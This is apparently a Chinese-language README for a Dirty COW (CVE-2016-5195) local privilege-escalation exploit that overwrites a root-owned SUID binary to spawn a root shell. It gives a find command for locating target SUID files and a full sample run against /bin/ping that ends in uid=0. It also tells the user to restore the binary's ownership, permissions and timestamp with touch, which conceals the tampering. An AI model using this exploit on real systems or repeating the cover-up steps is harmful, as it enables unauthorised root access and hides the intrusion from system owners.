对于您使用此代码所做的任何事情,我概不负责。此代码不提供任何担保。
针对CVE-2016-5195的利用程序,它将一个只读SUID可执行文件映射到内存(只读),并利用竞争条件用我们选择的ELF文件覆盖它。有效载荷以NASM格式随利用代码一起提供(cowshell-x86.asm && cowshell-x86_64.asm),如果您想了解cashm0ney内部的内容。
有效载荷通过setuid(0)提权,将0写入vm.dirty_writeback_centisecs以防止文件系统回写导致的崩溃,并弹出shell(/bin/sh)。此版本不尝试写入/proc/self/mem,因此应在CentOS/RHEL系统上可行。仍依赖ptrace,因此如果目标系统上ptrace受限,可能会失败。
找到当前用户至少具有读取权限的root所拥有的SUID可执行文件:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] 已打开 /bin/ping [*] 正在将 /bin/ping 备份到 /tmp/ping [*] 文件映射在 0x0x7f0cbe7ce000 [*] 正在等待子进程发出警报 [*] 启动 madvise 线程。 [*] 收到子进程警报。 [*] 准备写入 262 字节 [*] 尝试执行写入。 [*] 已写入字节到 0 [*] 已写入字节到 1 [*] 已写入字节到 2 [*] 已写入字节到 3 [*] 已写入字节到 4 [*] 已写入字节到 5 [*] 已写入字节到 6 [*] 已写入字节到 7 [*] 已写入字节到 8 SNIP [*] 已写入字节到 259 [*] 已写入字节到 260 [*] 已写入字节到 261 [+] w00t,写入完成 [+] 弹出shell。记得从 /tmp/ping 恢复 /bin/ping 并设置正确的权限! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
您应该从创建的备份中将被覆盖的二进制文件恢复到其原始路径,并记得使用 chown 和 chmod 将其所有权和权限恢复为正确的值。还可以使用 touch 将修改日期改回,以实现三重完美。